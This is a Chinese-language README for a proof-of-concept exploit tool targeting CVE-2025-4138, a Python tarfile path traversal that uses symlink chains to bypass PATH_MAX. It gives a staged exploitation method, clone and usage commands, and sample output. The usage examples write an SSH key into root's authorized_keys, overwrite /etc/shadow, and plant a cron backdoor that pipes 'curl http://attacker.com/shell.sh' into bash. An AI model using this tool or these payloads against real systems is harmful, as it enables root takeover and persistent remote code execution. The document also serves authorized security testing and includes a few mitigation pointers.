
Python PoC for CVE-2025-4138,一种利用符号链接链绕过PATH_MAX实现任意文件写入的Python tarfile模块路径遍历漏洞。
tarfile PATH_MAX 绕过 PoC作者: d3vn0mi
_______ _______ ____ ___ ___ ___ _ _ _ _____ ___
/ ___\ \ / / ____| |___ \/ _ \__ \| __| | | || |___ /( _ )
| | \ V /| _| _____ __) | | | |) |__ \ ___| | || |_|_ \/ _ \
| |___ | | | |__|_____/ __/| |_| / __/___) |___|__ _|__) \__, |
\____| |_| |_____| |_____|\___/_____|____/ |_||____/ /_/
[ CVE-2025-4138 :: Python tarfile PATH_MAX 绕过 ]
[ 作者: d3vn0mi ]
针对 CVE-2025-4138 的概念验证利用代码,这是一个 Python tarfile 模块中的路径遍历漏洞。该漏洞允许攻击者通过滥用符号链接链使其超出 PATH_MAX 限制,从而构造恶意的 tar 归档文件,将文件写入预期解压目录之外的任意位置。
利用过程分为四个阶段:
路径膨胀 -- 构造一层深度嵌套的目录和符号链接链,使最终解析路径超过内核的 PATH_MAX 限制(Linux 上为 4096 字节)。
枢轴符号链接 -- 添加一个符号链接,其解析路径跨越 PATH_MAX 边界。由于路径过长无法解析,Python 的 tarfile 安全检查(依赖 os.path.realpath())会静默失败并跳过验证。
逃逸符号链接 -- 第二个符号链接利用 ../ 遍历,通过枢轴符号链接逃离解压目录,指向文件系统上攻击者控制的绝对路径。
载荷投放 -- 通过逃逸符号链接写入一个常规文件,以攻击者控制的内容和权限落在目标路径。
解压目录
|
+-- ddd...d/ (247 字符的目录名)
| +-- a -> ddd...d (符号链接快捷方式)
| +-- ddd...d/
| +-- b -> ddd...d
| +-- ... (16 层深,解析路径 > 4096)
|
+-- a/b/.../p/lll...l -> ../../... (枢轴 - PATH_MAX 已超出)
+-- escape -> pivot + ../../... + /target/dir (逃逸)
+-- escape/target_file <-- 载荷落在此处 (解压目录之外)
git clone https://github.com/d3vn0mi/cve_2025_4138_poc.git
cd cve_2025_4138_poc
无需外部依赖 -- 该漏洞利用仅使用 Python 3 标准库模块。
usage: cve_2025_4138.py [-h] [-o OUTPUT] [-t TARGET] [-p PAYLOAD]
[-s PAYLOAD_STRING] [-k SSH_KEY] [-m MODE]
[-d DEPTH] [-v] [-q]
将 SSH 公钥写入 root 的 authorized_keys:
python3 cve_2025_4138.py -k ~/.ssh/id_rsa.pub -v
写入持久化 cron 任务:
python3 cve_2025_4138.py \
-s "* * * * * root curl http://attacker.com/shell.sh | bash" \
-t /etc/cron.d/backdoor \
-m 0644 \
-o cron_exploit.tar
从本地文件写入任意文件内容:
python3 cve_2025_4138.py \
-p payload.txt \
-t /etc/shadow \
-o shadow_exploit.tar \
-v
[*] 正在构建漏洞利用 tar 包: exploit.tar
[*] 目标文件: /root/.ssh/authorized_keys
[*] 载荷大小: 574 字节
[*] 遍历深度: 8
[*] 阶段 1/4: 创建用于路径膨胀的符号链接链...
[*] 链接 1/16: 解析路径长度 ~247 字节
[*] 链接 2/16: 解析路径长度 ~494 字节
...
[*] 阶段 2/4: 创建枢轴符号链接 (PATH_MAX 绕过)...
[*] 阶段 3/4: 创建逃逸符号链接 (目录遍历)...
[*] 阶段 4/4: 通过逃逸符号链接写入载荷...
[+] 漏洞利用 tar 包已创建: exploit.tar
[+] 归档大小: 20480 字节
[+] 目标: /root/.ssh/authorized_keys (权限 0o600)
[+] 完成。请谨慎使用 - 仅限授权测试。
tarfile.data_filter(Python 3.12+),提供更严格的解压控制。--strip-components 或在解压前验证归档内容。fs.protected_symlinks)。本工具仅用于授权的安全测试和教育目的。未经授权访问计算机系统是违法的。作者对滥用行为概不负责。在针对您不拥有的系统进行测试之前,请务必获得适当的书面授权。
本项目采用 MIT 许可证。
d3vn0mi | GitHub
| 字段 | 值 |
|---|
| CVE ID | CVE-2025-4138 |
| 组件 | Python tarfile 模块 |
| 类型 | 路径遍历 (CWE-22) |
| 攻击向量 | 符号链接链 + PATH_MAX 绕过 |
| 影响 | 在解压目录之外任意写入文件 |
| 标志 | 描述 |
|---|
-o, --output | 输出 tar 包路径(默认:exploit.tar) |
-t, --target | 目标上要写入文件的绝对路径(默认:/root/.ssh/authorized_keys) |
-p, --payload | 文件路径,其内容将作为载荷 |
-s, --payload-string | 使用字面字符串作为载荷 |
-k, --ssh-key | SSH 公钥文件路径 |
-m, --mode | 文件权限模式(八进制,默认:0600) |
-d, --depth | 目录遍历深度(默认:8) |
-v, --verify | 创建后 dump tar 包内容 |
-q, --quiet | 隐藏横幅 |